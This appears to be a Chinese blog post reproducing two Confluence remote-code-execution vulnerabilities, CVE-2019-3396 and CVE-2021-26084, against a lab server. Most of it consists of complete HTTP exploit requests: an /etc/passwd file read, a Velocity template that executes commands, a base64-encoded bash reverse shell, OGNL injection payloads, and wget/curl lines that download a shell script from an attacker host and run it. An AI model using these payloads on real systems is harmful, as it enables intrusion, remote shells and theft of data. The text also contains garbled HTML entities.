confluence漏洞复现

影响版本&＃xff1a;6.14.2版本前

通过该漏洞&＃xff0c;攻击者可以读取任意文件&＃xff0c;或利用Velocity模板注入执行任意命令。

1.1 利用

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.171.139:8090/pages/resumedraft.action?draftId&＃61;786457&draftShareId&＃61;056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset&＃61;utf-8
Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}


命令执行&＃xff1a;
模版文件&＃xff1a;

#set ($e&＃61;"exp")
#set ($a&＃61;$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input&＃61;$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc &＃61; $e.getClass().forName("java.util.Scanner"))
#set($constructor &＃61; $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan&＃61;$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end


POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.171.139:8090/pages/resumedraft.action?draftId&＃61;786457&draftShareId&＃61;056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset&＃61;utf-8
Content-Length: 201{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.171.1/exp.vm","cmd":"ls"}}}


反弹shell&＃xff1a;

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.171.139:8090/pages/resumedraft.action?draftId&＃61;786457&draftShareId&＃61;056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset&＃61;utf-8
Content-Length: 296{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.171.1/exp.vm","cmd":"bash -c {echo,YmFzaCAtaSA&＃43;JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQ&＃61;&＃61;}|{base64,-d}|{bash,-i}"}}}


2.1 利用

命令执行&＃xff1a;

POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1066queryString&＃61;%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027Javascript%5cu0027%29.%5cu0065val%28%5cu0027var&＃43;isWin&＃43;%3d&＃43;java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b&＃43;var&＃43;cmd&＃43;%3d&＃43;new&＃43;java.lang.String%28%5cu0022whoami%5cu0022%29%3bvar&＃43;p&＃43;%3d&＃43;new&＃43;java.lang.ProcessBuilder%28%29%3b&＃43;if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c&＃43;%5cu0022%2fc%5cu0022%2c&＃43;cmd%29%3b&＃43;%7d&＃43;else%7bp.command%28%5cu0022bash%5cu0022%2c&＃43;%5cu0022-c%5cu0022%2c&＃43;cmd%29%3b&＃43;%7dp.redirectErrorStream%28true%29%3b&＃43;var&＃43;process%3d&＃43;p.start%28%29%3b&＃43;var&＃43;inputStreamReader&＃43;%3d&＃43;new&＃43;java.io.InputStreamReader%28process.getInputStream%28%29%29%3b&＃43;var&＃43;bufferedReader&＃43;%3d&＃43;new&＃43;java.io.BufferedReader%28inputStreamReader%29%3b&＃43;var&＃43;line&＃43;%3d&＃43;%5cu0022%5cu0022%3b&＃43;var&＃43;output&＃43;%3d&＃43;%5cu0022%5cu0022%3b&＃43;while%28%28line&＃43;%3d&＃43;bufferedReader.readLine%28%29%29&＃43;%21%3d&＃43;null%29%7boutput&＃43;%3d&＃43;output&＃43;%2b&＃43;line&＃43;%2b&＃43;java.lang.Character.toString%2810%29%3b&＃43;%7d%5cu0027%29%7d%2b%5cu0027


反弹shell&＃xff1a;

POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47queryString&＃61;%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027Javascript%5cu0027%29.%5cu0065val%28%5cu0027var&＃43;isWin&＃43;%3d&＃43;java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b&＃43;var&＃43;cmd&＃43;%3d&＃43;new&＃43;java.lang.String%28%5cu0022fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff%5cu0022%29%3bvar&＃43;p&＃43;%3d&＃43;new&＃43;java.lang.ProcessBuilder%28%29%3b&＃43;if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c&＃43;%5cu0022%2fc%5cu0022%2c&＃43;cmd%29%3b&＃43;%7d&＃43;else%7bp.command%28%5cu0022bash%5cu0022%2c&＃43;%5cu0022-c%5cu0022%2c&＃43;cmd%29%3b&＃43;%7dp.redirectErrorStream%28true%29%3b&＃43;var&＃43;process%3d&＃43;p.start%28%29%3b&＃43;var&＃43;inputStreamReader&＃43;%3d&＃43;new&＃43;java.io.InputStreamReader%28process.getInputStream%28%29%29%3b&＃43;var&＃43;bufferedReader&＃43;%3d&＃43;new&＃43;java.io.BufferedReader%28inputStreamReader%29%3b&＃43;var&＃43;line&＃43;%3d&＃43;%5cu0022%5cu0022%3b&＃43;var&＃43;output&＃43;%3d&＃43;%5cu0022%5cu0022%3b&＃43;while%28%28line&＃43;%3d&＃43;bufferedReader.readLine%28%29%29&＃43;%21%3d&＃43;null%29%7boutput&＃43;%3d&＃43;output&＃43;%2b&＃43;line&＃43;%2b&＃43;java.lang.Character.toString%2810%29%3b&＃43;%7d%5cu0027%29%7d%2b%5cu0027


普通的反弹shell代码都不可以&＃xff0c;包括base64编码的也无法使用&＃xff0c;因此我们采用下载文件执行的方式来实现&＃xff0c;文件内容为反弹shell代码&＃xff0c;将payload中的ffffff换成如下命令即可&＃xff1a;

wget http://192.168.171.1:8000/1.sh -O /tmp/1.sh # 如果下载失败可用下面的
curl http://192.168.171.1:8000/1.sh -o /tmp/1.sh
bash /tmp/1.sh


也可使用exp来利用此漏洞&＃xff0c;但是exp中也无法执行反弹shell代码&＃xff1a;
exp地址&＃xff1a;https://github.com/r0ckysec/CVE-2021-26084_Confluence

另一个payload&＃xff0c;无回显&＃xff1a;

POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.171.139:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 199linkCreation&＃61;a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027
bash /tmp/1.sh
%5Cu0027%29%5Cu0022%29%2B%5Cu0027

参考文章

vulhub
CVE-2019-3396 复现
payload